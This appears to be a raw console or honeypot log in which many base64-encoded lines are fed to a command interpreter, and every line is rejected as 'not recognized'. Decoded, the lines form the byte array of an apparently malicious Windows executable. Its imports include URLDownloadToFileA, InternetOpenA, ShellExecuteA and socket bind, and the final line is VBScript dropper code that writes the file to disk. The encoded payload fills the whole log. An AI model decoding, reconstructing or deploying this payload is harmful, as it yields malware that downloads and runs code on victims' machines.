'lde5miwxotismtkyldasmcwwldi1nswwldasmju1ldasmcwwldi1nswyntusmcwyntusmcww' not recognized. >>>> LDAsMjU1LDAsMjU1LDAsMjU1LDI1NSwwLDAsMjU1LDI1NSwyNTUsMCwwLDAsMCwwLDAsMCww **** Command 'ldasmju1ldasmju1ldasmju1ldi1nswwldasmju1ldi1nswyntusmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDcsMTE5LDExOSwxMTksMTE5LDExOSwxMTksMCwwLDAsMCwwLDAsMCwwLDAsNywxMzYsMTM2 **** Command 'ldcsmte5ldexoswxmtksmte5ldexoswxmtksmcwwldasmcwwldasmcwwldasnywxmzysmtm2' not recognized. >>>> LDEzNiwxMzYsMTM2LDEzNSwwLDAsMCwwLDAsMCwwLDAsMCw3LDU2LDEzNiw1MSw1NiwxMzYs **** Command 'ldezniwxmzysmtm2ldeznswwldasmcwwldasmcwwldasmcw3ldu2ldezniw1msw1niwxmzys' not recognized. >>>> NTUsMCwwLDAsMCwwLDAsMCwwLDAsNywxNzksMTMxLDAsMywxMzEsMTM1LDAsMCwwLDAsMCww **** Command 'ntusmcwwldasmcwwldasmcwwldasnywxnzksmtmxldasmywxmzesmtm1ldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDcsMjU1LDQ4LDI1NSwxNzYsNTYsMTM1LDAsMCwwLDAsMCwwLDAsMCwwLDcsMTg0 **** Command 'ldasmcwwldcsmju1ldq4ldi1nswxnzysntysmtm1ldasmcwwldasmcwwldasmcwwldcsmtg0' not recognized. >>>> LDE1LDE5MSwyNTUsMywxMzUsMCwwLDAsMCwwLDAsMCwwLDAsNywxMjgsMTkxLDI1NSwxOTEs **** Command 'lde1lde5mswyntusmywxmzusmcwwldasmcwwldasmcwwldasnywxmjgsmtkxldi1nswxotes' not recognized. >>>> MjQwLDU1LDAsMCwwLDAsMCwwLDAsMCwwLDcsMTUsMjU1LDE5MSwyNTUsMTkxLDMsMCwwLDAs **** Command 'mjqwldu1ldasmcwwldasmcwwldasmcwwldcsmtusmju1lde5mswyntusmtkxldmsmcwwldas' not recognized. >>>> MCwwLDAsMCwwLDAsNywyNTUsMTkxLDI1NSwxOTEsMjU1LDE3NiwwLDAsMCwwLDAsMCwwLDAs **** Command 'mcwwldasmcwwldasnywyntusmtkxldi1nswxotesmju1lde3niwwldasmcwwldasmcwwldas' not recognized. >>>> MCw3LDExOSwxMTksMTE5LDExOSwxMTksMTE5LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs **** Command 'mcw3ldexoswxmtksmte5ldexoswxmtksmte5ldasmcwwldasmcwwldasmcwwldasmcwwldas' not recognized. >>>> MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs **** Command 'mcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldas' not recognized. >>>> MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDI1NSwyNTUsMjU1LDI1NSwyNTUs **** Command 'mcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldi1nswyntusmju1ldi1nswyntus' not recognized. >>>> MjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1 **** Command 'mju1ldi1nswyntusmju1ldi1nswyntusmju1ldi1nswyntusmju1ldi1nswyntusmju1ldi1' not recognized. >>>> NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUs **** Command 'nswyntusmju1ldi1nswyntusmju1ldi1nswyntusmju1ldi1nswyntusmju1ldi1nswyntus' not recognized. >>>> MjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1 **** Command 'mju1ldi1nswyntusmju1ldi1nswyntusmju1ldi1nswyntusmju1ldi1nswyntusmju1ldi1' not recognized. >>>> NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUs **** Command 'nswyntusmju1ldi1nswyntusmju1ldi1nswyntusmju1ldi1nswyntusmju1ldi1nswyntus' not recognized. >>>> MjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDEy **** Command 'mju1ldi1nswyntusmju1ldi1nswyntusmju1ldi1nswyntusmju1ldi1nswyntusmju1ldey' not recognized. >>>> OCwxLDI1NSwyNTUsMTI4LDEsMjU1LDI1NSwxMjgsMSwyNTUsMjU1LDEyOCwxLDI1NSwyNTUs **** Command 'ocwxldi1nswyntusmti4ldesmju1ldi1nswxmjgsmswyntusmju1ldeyocwxldi1nswyntus' not recognized. >>>> MTI4LDEsMjU1LDI1NSwxMjgsMSwyNTUsMjU1LDEyOCwxLDI1NSwyNTUsMTI4LDEsMjU1LDI1 **** Command 'mti4ldesmju1ldi1nswxmjgsmswyntusmju1ldeyocwxldi1nswyntusmti4ldesmju1ldi1' not recognized. >>>> NSwxMjgsMSwyNTUsMjU1LDEyOCwxLDI1NSwyNTUsMTI4LDEsMjU1LDI1NSwyNTUsMjU1LDI1 **** Command 'nswxmjgsmswyntusmju1ldeyocwxldi1nswyntusmti4ldesmju1ldi1nswyntusmju1ldi1' not recognized. >>>> NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwxMzYsMTk1LDAsMCwwLDAs **** Command 'nswyntusmju1ldi1nswyntusmju1ldi1nswyntusmju1ldi1nswxmzysmtk1ldasmcwwldas' not recognized. >>>> MSwwLDEsMCwzMiwzMiwxNiwwLDEsMCw0LDAsMjMyLDIsMCwwLDEsMCwwLDAsMCwwLDAsMCww **** Command 'mswwldesmcwzmiwzmiwxniwwldesmcw0ldasmjmyldismcwwldesmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwyMTYsMjQ0LDAsMCwxMjgsMjQ0LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldasmcwwldasmcwymtysmjq0ldasmcwxmjgsmjq0ldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwyMjksMjQ0LDAsMCwxNDQsMjQ0LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwy **** Command 'ldasmcwymjksmjq0ldasmcwxndqsmjq0ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwy' not recognized. >>>> NDIsMjQ0LDAsMCwxNTIsMjQ0LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwyNTIsMjQ0 **** Command 'ndismjq0ldasmcwxntismjq0ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwyntismjq0' not recognized. >>>> LDAsMCwxNjAsMjQ0LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw2LDI0NSwwLDAsMTY4 **** Command 'ldasmcwxnjasmjq0ldasmcwwldasmcwwldasmcwwldasmcwwldasmcw2ldi0nswwldasmty4' not recognized. >>>> LDI0NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMTgsMjQ1LDAsMCwxNzYsMjQ0LDAs **** Command 'ldi0ncwwldasmcwwldasmcwwldasmcwwldasmcwwldasmtgsmjq1ldasmcwxnzysmjq0ldas' not recognized. >>>> MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwzMCwyNDUsMCwwLDE4NCwyNDQsMCwwLDAsMCww **** Command 'mcwwldasmcwwldasmcwwldasmcwwldasmcwzmcwyndusmcwwlde4ncwyndqsmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDQxLDI0NSwwLDAsMTkyLDI0NCwwLDAsMCwwLDAsMCwwLDAs **** Command 'ldasmcwwldasmcwwldasmcwwldqxldi0nswwldasmtkyldi0ncwwldasmcwwldasmcwwldas' not recognized. >>>> MCwwLDAsMCwwLDAsNTIsMjQ1LDAsMCwyMDAsMjQ0LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'mcwwldasmcwwldasntismjq1ldasmcwymdasmjq0ldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCw2NCwyNDUsMCwwLDIwOCwyNDQsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs **** Command 'ldasmcw2ncwyndusmcwwldiwocwyndqsmcwwldasmcwwldasmcwwldasmcwwldasmcwwldas' not recognized. >>>> MCwwLDAsMCwwLDAsMCw3NiwyNDUsMCwwLDkwLDI0NSwwLDAsMTA2LDI0NSwwLDAsMCwwLDAs **** Command 'mcwwldasmcwwldasmcw3niwyndusmcwwldkwldi0nswwldasmta2ldi0nswwldasmcwwldas' not recognized. >>>> MCwxMjAsMjQ1LDAsMCwwLDAsMCwwLDEzNCwyNDUsMCwwLDAsMCwwLDAsMTQ0LDI0NSwwLDAs **** Command 'mcwxmjasmjq1ldasmcwwldasmcwwldezncwyndusmcwwldasmcwwldasmtq0ldi0nswwldas' not recognized. >>>> MCwwLDAsMCwxNTgsMjQ1LDAsMCwwLDAsMCwwLDE3NCwyNDUsMCwwLDAsMCwwLDAsMTg0LDI0 **** Command 'mcwwldasmcwxntgsmjq1ldasmcwwldasmcwwlde3ncwyndusmcwwldasmcwwldasmtg0ldi0' not recognized. >>>> NSwwLDAsMCwwLDAsMCwyMDQsMjQ1LDAsMCwwLDAsMCwwLDIxNiwyNDUsMCwwLDAsMCwwLDAs **** Command 'nswwldasmcwwldasmcwymdqsmjq1ldasmcwwldasmcwwldixniwyndusmcwwldasmcwwldas' not recognized. >>>> MjMyLDI0NSwwLDAsMCwwLDAsMCw3NSw2OSw4Miw3OCw2OSw3Niw1MSw1MCw0Niw2OCw3Niw3 **** Command 'mjmyldi0nswwldasmcwwldasmcw3nsw2osw4miw3ocw2osw3niw1msw1mcw0niw2ocw3niw3' not recognized. >>>> NiwwLDk3LDEwMCwxMTgsOTcsMTEyLDEwNSw1MSw1MCw0NiwxMDAsMTA4LDEwOCwwLDEwMywx **** Command 'niwwldk3ldewmcwxmtgsotcsmteyldewnsw1msw1mcw0niwxmdasmta4ldewocwwldewmywx' not recognized. >>>> MDAsMTA1LDUxLDUwLDQ2LDEwMCwxMDgsMTA4LDAsMTExLDEwOCwxMDEsNTEsNTAsNDYsMTAw **** Command 'mdasmta1lduxlduwldq2ldewmcwxmdgsmta4ldasmtexldewocwxmdesntesntasndysmtaw' not recognized. >>>> LDEwOCwxMDgsMCw4Myw3Miw2OSw3Niw3Niw1MSw1MCw0NiwxMDAsMTA4LDEwOCwwLDExNSwx **** Command 'ldewocwxmdgsmcw4myw3miw2osw3niw3niw1msw1mcw0niwxmdasmta4ldewocwwldexnswx' not recognized. >>>> MDQsMTA4LDExOSw5NywxMTIsMTA1LDQ2LDEwMCwxMDgsMTA4LDAsMTE3LDExNCwxMDgsMTA5 **** Command 'mdqsmta4ldexosw5nywxmtismta1ldq2ldewmcwxmdgsmta4ldasmte3ldexncwxmdgsmta5' not recognized. >>>> LDExMSwxMTAsNDYsMTAwLDEwOCwxMDgsMCwxMTcsMTE1LDEwMSwxMTQsNTEsNTAsNDYsMTAw **** Command 'ldexmswxmtasndysmtawldewocwxmdgsmcwxmtcsmte1ldewmswxmtqsntesntasndysmtaw' not recognized. >>>> LDEwOCwxMDgsMCwxMTksMTA1LDExMCwxMDUsMTEwLDEwMSwxMTYsNDYsMTAwLDEwOCwxMDgs **** Command 'ldewocwxmdgsmcwxmtksmta1ldexmcwxmdusmtewldewmswxmtysndysmtawldewocwxmdgs' not recognized. >>>> MCwxMTksMTE1LDExMSw5OSwxMDcsNTEsNTAsNDYsMTAwLDEwOCwxMDgsMCwwLDAsNzYsMTEx **** Command 'mcwxmtksmte1ldexmsw5oswxmdcsntesntasndysmtawldewocwxmdgsmcwwldasnzysmtex' not recognized. >>>> LDk3LDEwMCw3NiwxMDUsOTgsMTE0LDk3LDExNCwxMjEsNjUsMCwwLDcxLDEwMSwxMTYsODAs **** Command 'ldk3ldewmcw3niwxmdusotgsmte0ldk3ldexncwxmjesnjusmcwwldcxldewmswxmtysodas' not recognized. >>>> MTE0LDExMSw5OSw2NSwxMDAsMTAwLDExNCwxMDEsMTE1LDExNSwwLDAsNjksMTIwLDEwNSwx **** Command 'mte0ldexmsw5osw2nswxmdasmtawldexncwxmdesmte1ldexnswwldasnjksmtiwldewnswx' not recognized. >>>> MTYsODAsMTE0LDExMSw5OSwxMDEsMTE1LDExNSwwLDAsMCw4MiwxMDEsMTAzLDY3LDEwOCwx **** Command 'mtysodasmte0ldexmsw5oswxmdesmte1ldexnswwldasmcw4miwxmdesmtazldy3ldewocwx' not recognized. >>>> MTEsMTE1LDEwMSw3NSwxMDEsMTIxLDAsMCwwLDY4LDEwMSwxMDgsMTAxLDExNiwxMDEsNjgs **** Command 'mtesmte1ldewmsw3nswxmdesmtixldasmcwwldy4ldewmswxmdgsmtaxldexniwxmdesnjgs' not recognized. >>>> NjcsMCwwLDY3LDExMSw3MywxMTAsMTA1LDExNiwxMDUsOTcsMTA4LDEwNSwxMjIsMTAxLDAs **** Command 'njcsmcwwldy3ldexmsw3mywxmtasmta1ldexniwxmdusotcsmta4ldewnswxmjismtaxldas' not recognized. >>>> MCw4MywxMDQsMTAxLDEwOCwxMDgsNjksMTIwLDEwMSw5OSwxMTcsMTE2LDEwMSw2NSwwLDAs **** Command 'mcw4mywxmdqsmtaxldewocwxmdgsnjksmtiwldewmsw5oswxmtcsmte2ldewmsw2nswwldas' not recognized. >>>> MCw4MywxMTYsMTE0LDY4LDExNywxMTIsNjUsMCwwLDAsODUsODIsNzYsNjgsMTExLDExOSwx **** Command 'mcw4mywxmtysmte0ldy4ldexnywxmtisnjusmcwwldasodusodisnzysnjgsmtexldexoswx' not recognized. >>>> MTAsMTA4LDExMSw5NywxMDAsODQsMTExLDcwLDEwNSwxMDgsMTAxLDY1LDAsMCwxMTksMTE1 **** Command 'mtasmta4ldexmsw5nywxmdasodqsmtexldcwldewnswxmdgsmtaxldy1ldasmcwxmtksmte1' not recognized. >>>> LDExMiwxMTQsMTA1LDExMCwxMTYsMTAyLDY1LDAsMCwwLDczLDExMCwxMTYsMTAxLDExNCwx **** Command 'ldexmiwxmtqsmta1ldexmcwxmtysmtayldy1ldasmcwwldczldexmcwxmtysmtaxldexncwx' not recognized. >>>> MTAsMTAxLDExNiw3OSwxMTIsMTAxLDExMCw2NSwwLDAsMCw5OCwxMDUsMTEwLDEwMCwwLDAs **** Command 'mtasmtaxldexniw3oswxmtismtaxldexmcw2nswwldasmcw5ocwxmdusmtewldewmcwwldas' not recognized. >>>> MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw2MCwxMjMsMTY1LDEsMTkwLDQxLDI5 **** Command 'mcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcw2mcwxmjmsmty1ldesmtkwldqxldi5' not recognized. >>>> LDEyNSw5NSw0NSwxMDMsMTU3LDMsMTUsMTIwLDYyLDM0LDE4OSw4OCwxMDksNzAsMTgsMTcs **** Command 'ldeynsw5nsw0nswxmdmsmtu3ldmsmtusmtiwldyyldm0lde4osw4ocwxmdksnzasmtgsmtcs' not recognized. >>>> MTg1LDQ3LDEwOCwzMywxMjAsMTg5LDU3LDg1LDE3MCw2OSw2NSw3LDE3MiwxOTMsMjQsOTks **** Command 'mtg1ldq3ldewocwzmywxmjasmtg5ldu3ldg1lde3mcw2osw2nsw3lde3miwxotmsmjqsotks' not recognized. >>>> MTU1LDc3LDExMCw2MiwxMzUsOSwxNDMsNTAsMTk0LDE4MCw4MywxNTQsMzgsOTMsNDUsMTc3 **** Command 'mtu1ldc3ldexmcw2miwxmzusoswxndmsntasmtk0lde4mcw4mywxntqsmzgsotmsndusmtc3' not recognized. >>>> LDE4MCwxMDksNDAsNzIsMTMsMTUwLDExNiwxMzAsMTMyLDQ1LDE4OCwxMjAsNDgsMTI2LDEx **** Command 'lde4mcwxmdksndasnzismtmsmtuwldexniwxmzasmtmyldq1lde4ocwxmjasndgsmti2ldex' not recognized. >>>> NiwxNSwxNTIsMTIxLDczLDEzNSwxMzEsNzYsMzUsMjIsOTYsNDQsODEsMjksMTIsMTQsMTg5 **** Command 'niwxnswxntismtixldczldeznswxmzesnzysmzusmjisotysndqsodesmjksmtismtqsmtg5' not recognized. >>>> LDE1MSw2OSwxMDcsNTAsMCw2MSwxNDMsMTg3LDQ0LDcsMTAzLDUwLDM5LDE3Niw4OCw3Miw3 **** Command 'lde1msw2oswxmdcsntasmcw2mswxndmsmtg3ldq0ldcsmtazlduwldm5lde3niw4ocw3miw3' not recognized. >>>> NiwxNzcsMTAyLDEwMSwxODgsNTQsMTcsMTM2LDgzLDE3MiwxOCwxNzEsMTk4LDE3MiwxNDMs **** Command 'niwxnzcsmtayldewmswxodgsntqsmtcsmtm2ldgzlde3miwxocwxnzesmtk4lde3miwxndms' not recognized. >>>> NjQsMTEsMTEsMTk2LDYzLDY5LDE3NCwxNzQsMzcsOTQsMTUzLDE0NSwxMDYsMTU3LDE3NSwx **** Command 'njqsmtesmtesmtk2ldyzldy5lde3ncwxnzqsmzcsotqsmtuzlde0nswxmdysmtu3lde3nswx' not recognized. >>>> MjgsMTIwLDE4OSw1Nyw3NSw0MSwxNzQsODQsMTA5LDczLDE5Niw3Niw4LDkzLDE3LDU3LDE2 **** Command 'mjgsmtiwlde4osw1nyw3nsw0mswxnzqsodqsmta5ldczlde5niw3niw4ldkzlde3ldu3lde2' not recognized. >>>> MiwxNzEsMTc1LDI5LDE0NCwxMjQsNDUsNzgsNDAsMTA4LDExNyw1MSwxMDIsMTI5LDM2LDI0 **** Command 'miwxnzesmtc1ldi5lde0ncwxmjqsndusnzgsndasmta4ldexnyw1mswxmdismti5ldm2ldi0' not recognized. >>>> LDE5OCwxNCwxMjIsMzEsNjQsMTkzLDc1LDE1OSw5NiwxMjgsMTg4LDE3NSwxODcsNDksNjMs **** Command 'lde5ocwxncwxmjismzesnjqsmtkzldc1lde1osw5niwxmjgsmtg4lde3nswxodcsndksnjms' not recognized. >>>> MTkzLDEyMiwxNDEsOTIsOTMsMzgsNjgsMjcsMTkwLDEzMiwxOTQsMTkxLDIwLDE3LDksMCwx **** Command 'mtkzldeymiwxndesotisotmsmzgsnjgsmjcsmtkwldezmiwxotqsmtkxldiwlde3ldksmcwx' not recognized. >>>> NSwxMDUsODQsMTU0LDEwOSw4MCw0NCw3MSwxMDEsNDQsMTk2LDE3Nyw4NCw0NSwxNjksMTMx **** Command 'nswxmdusodqsmtu0ldewosw4mcw0ncw3mswxmdesndqsmtk2lde3nyw4ncw0nswxnjksmtmx' not recognized. >>>> LDEzNCw4OCw4NywxNTIsMzQsNzcsMTkyLDQ1LDE3LDM2LDkxLDE5OCw0OCw1MSwxNDYsMTA3 **** Command 'ldezncw4ocw4nywxntismzqsnzcsmtkyldq1lde3ldm2ldkxlde5ocw0ocw1mswxndysmta3' not recognized. >>>> LDI2LDEyNSw2NCwxMzQsMjUsMTExLDEyMSw5OCwxMDMsMTM1LDExNywxMDQsMTAxLDE3NCwx **** Command 'ldi2ldeynsw2ncwxmzqsmjusmtexldeymsw5ocwxmdmsmtm1ldexnywxmdqsmtaxlde3ncwx' not recognized. >>>> MTcsNjksMTU3LDEzMyw1MSw0Nyw0NSwzLDU4LDE3OSw5NCwxNCwxOTMsMTQ1LDE0Miw3NSwx **** Command 'mtcsnjksmtu3ldezmyw1msw0nyw0nswzldu4lde3osw5ncwxncwxotmsmtq1lde0miw3nswx' not recognized. >>>> MDAsMTcsMTMwLDUyLDc3LDE3MywxMTcsMTE2LDE1MCwxODQsMTEsMTkzLDQ3LDc2LDEwNyw1 **** Command 'mdasmtcsmtmwlduyldc3lde3mywxmtcsmte2lde1mcwxodqsmtesmtkzldq3ldc2ldewnyw1' not recognized. >>>> MywzNyw0MSwxOTksNDcsMTA1LDEzMCwxMzgsOTAsODEsMTI2LDEyMywxOTMsNzAsODEsMTA1 **** Command 'mywznyw0mswxotksndcsmta1ldezmcwxmzgsotasodesmti2ldeymywxotmsnzasodesmta1' not recognized. >>>> LDE0NSwyOCwxNTgsMTI5LDExNSwxNzEsNDcsNjEsMjcsNTAsMTUyLDEwMSwxNzMsMTg2LDE5 **** Command 'lde0nswyocwxntgsmti5ldexnswxnzesndcsnjesmjcsntasmtuyldewmswxnzmsmtg2lde5' not recognized. >>>> MywxOTEsNzYsMTk3LDE2OSw3Niw3NiwyMiw3MiwzNywxMjMsMTk4LDEwMyw2OCwxNjMsNSwx **** Command 'mywxotesnzysmtk3lde2osw3niw3niwymiw3miwznywxmjmsmtk4ldewmyw2ocwxnjmsnswx' not recognized. >>>> NTMsMjIsMzUsMzIsMjcsNjMsNDAsMTU5LDYyLDEzMSw3NCwxMjEsOCw3MSwxOTEsMTM4LDE5 **** Command 'ntmsmjismzusmzismjcsnjmsndasmtu5ldyyldezmsw3ncwxmjesocw3mswxotesmtm4lde5' not recognized. >>>> NiwxNjMsNzYsOTYsMTYyLDM0LDY4LDE4LDY5LDgxLDEwNiwzNiwyNSwxODAsNiw2NCwxMjAs **** Command 'niwxnjmsnzysotysmtyyldm0ldy4lde4ldy5ldgxldewniwzniwynswxodasniw2ncwxmjas' not recognized. >>>> MTMwLDEzOCw4MCw5OSw2LDEyMSwzLDEyMiw0NCwxMTUsMzYsMTM1LDE2Miw5Myw2NSw0MSw1 **** Command 'mtmwldezocw4mcw5osw2ldeymswzldeymiw0ncwxmtusmzysmtm1lde2miw5myw2nsw0msw1' not recognized. >>>> MiwxMTUsMTk1LDkwLDEwMCwxNzEsNSwxNzcsMTA0LDMwLDkzLDM0LDE2MSwxMjcsMTQyLDEy **** Command 'miwxmtusmtk1ldkwldewmcwxnzesnswxnzcsmta0ldmwldkzldm0lde2mswxmjcsmtqyldey' not recognized. >>>> NCwxNzcsNjIsMTMxLDcwLDU1LDE2Miw4MSw2OCwxNjAsMTE1LDcsNjksMTUyLDc4LDE2Niwz **** Command 'ncwxnzcsnjismtmxldcwldu1lde2miw4msw2ocwxnjasmte1ldcsnjksmtuyldc4lde2niwz' not recognized. >>>> Nyw4NiwxNTcsMTU5LDU0LDYxLDUxLDUxLDE0Miw2Niw3Myw4LDE4MCw3MiwxODksNzksNTgs **** Command 'nyw4niwxntcsmtu5ldu0ldyxlduxlduxlde0miw2niw3myw4lde4mcw3miwxodksnzksntgs' not recognized. >>>> MTUxLDE5OCwxMDIsMTU0LDc1LDgzLDE3NCwxNjgsMTg3LDI0LDExMSwxNTksMTY0LDU5LDE1 **** Command 'mtuxlde5ocwxmdismtu0ldc1ldgzlde3ncwxnjgsmtg3ldi0ldexmswxntksmty0ldu5lde1' not recognized. >>>> MiwxMDcsMTY4LDg1LDQzLDE3MywxNTAsNzEsMTgyLDE3MSw5NCwxNjUsNTEsMTIzLDEwNyw1 **** Command 'miwxmdcsmty4ldg1ldqzlde3mywxntasnzesmtgylde3msw5ncwxnjusntesmtizldewnyw1' not recognized. >>>> NCwxODMsMjIsMTIzLDc3LDE2MSwxMzUsMTQsNTIsODYsMjcsNDIsNjUsMTcxLDMwLDgsNjcs **** Command 'ncwxodmsmjismtizldc3lde2mswxmzusmtqsntisodysmjcsndisnjusmtcxldmwldgsnjcs' not recognized. >>>> MTgzLDE5OCwxODQsMTQwLDU3LDE3OSw3NiwxOSwxMzMsMTE4LDEsMTYxLDc5LDM2LDYsOTEs **** Command 'mtgzlde5ocwxodqsmtqwldu3lde3osw3niwxoswxmzmsmte4ldesmtyxldc5ldm2ldysotes' not recognized. >>>> MTM0LDE1OSwyMywxNzAsMTYyLDExMCwxNTgsMTAxLDE2OSwyNSwxLDE4MCwxNTgsMTUwLDU2 **** Command 'mtm0lde1oswymywxnzasmtyyldexmcwxntgsmtaxlde2oswynswxlde4mcwxntgsmtuwldu2' not recognized. >>>> LDE0NCwzNSwxNTUsOTQsMzQsMTk1LDkzLDI4LDE0MiwxNzAsODUsMjcsNzQsMTk5LDIsNTQs **** Command 'lde0ncwznswxntusotqsmzqsmtk1ldkzldi4lde0miwxnzasodusmjcsnzqsmtk5ldisntqs' not recognized. >>>> MTk1LDEyLDE2Niw3NywxODEsMTU5LDM5LDMwLDE2OCwxOTUsMTEsMTMyLDEzNSw2NSw3MSw4 **** Command 'mtk1ldeylde2niw3nywxodesmtu5ldm5ldmwlde2ocwxotusmtesmtmyldeznsw2nsw3msw4' not recognized. >>>> LDEwNywxMzYsMzUsMTY3LDQ3LDE1MiwzMSwxMTUsMTYyLDEyNCwwLDE4Myw1NSwxNDUsMTIw **** Command 'ldewnywxmzysmzusmty3ldq3lde1miwzmswxmtusmtyyldeyncwwlde4myw1nswxndusmtiw' not recognized. >>>> LDk3LDExMiwxOTQsMTIyLDU5LDEyNSw3NCwxNzksMTU3LDEzNyw2NCwxNzEsMTAsMTEsMjks **** Command 'ldk3ldexmiwxotqsmtiyldu5ldeynsw3ncwxnzksmtu3ldeznyw2ncwxnzesmtasmtesmjks' not recognized. >>>> MTM1LDI5LDEzOCw2Miw0NywwLDMxLDM3LDE2MiwyNSwxNzMsOTQsMTkzLDEwLDY2LDE0Niwx **** Command 'mtm1ldi5ldezocw2miw0nywwldmxldm3lde2miwynswxnzmsotqsmtkzldewldy2lde0niwx' not recognized. >>>> NzUsOTUsNTUsODMsMTQ3LDE5MSw4NCwxNzksMTgsMTA4LDE2NywxOTEsNzMsMTc4LDUzLDYy **** Command 'nzusotusntusodmsmtq3lde5msw4ncwxnzksmtgsmta4lde2nywxotesnzmsmtc4lduzldyy' not recognized. >>>> LDksMTkyLDgxLDE3NSwxMDYsMTAzLDE1NSwxMzcsOTYsMTYsOTIsMSwxNDcsOTEsMjAsNzIs **** Command 'ldksmtkyldgxlde3nswxmdysmtazlde1nswxmzcsotysmtysotismswxndcsotesmjasnzis' not recognized. >>>> MSwyNSw0MCw1OSwxMDUsNjksMTA5LDEwLDMxLDE5MiwxMTksMzAsMTksMywxNzEsMTE0LDk1 **** Command 'mswynsw0mcw1oswxmdusnjksmta5ldewldmxlde5miwxmtksmzasmtksmywxnzesmte0ldk1' not recognized. >>>> LDEwNSwxMSwxMTIsMjYpIiAmIHZiY3JsZg0KVFNPLndyaXRlICJmb3IgaT0wIHRvIDIwNTkw **** Command 'ldewnswxmswxmtismjypiiamihziy3jszg0kvfnplndyaxrlicjmb3igat0wihrvidiwntkw' not recognized. >>>> 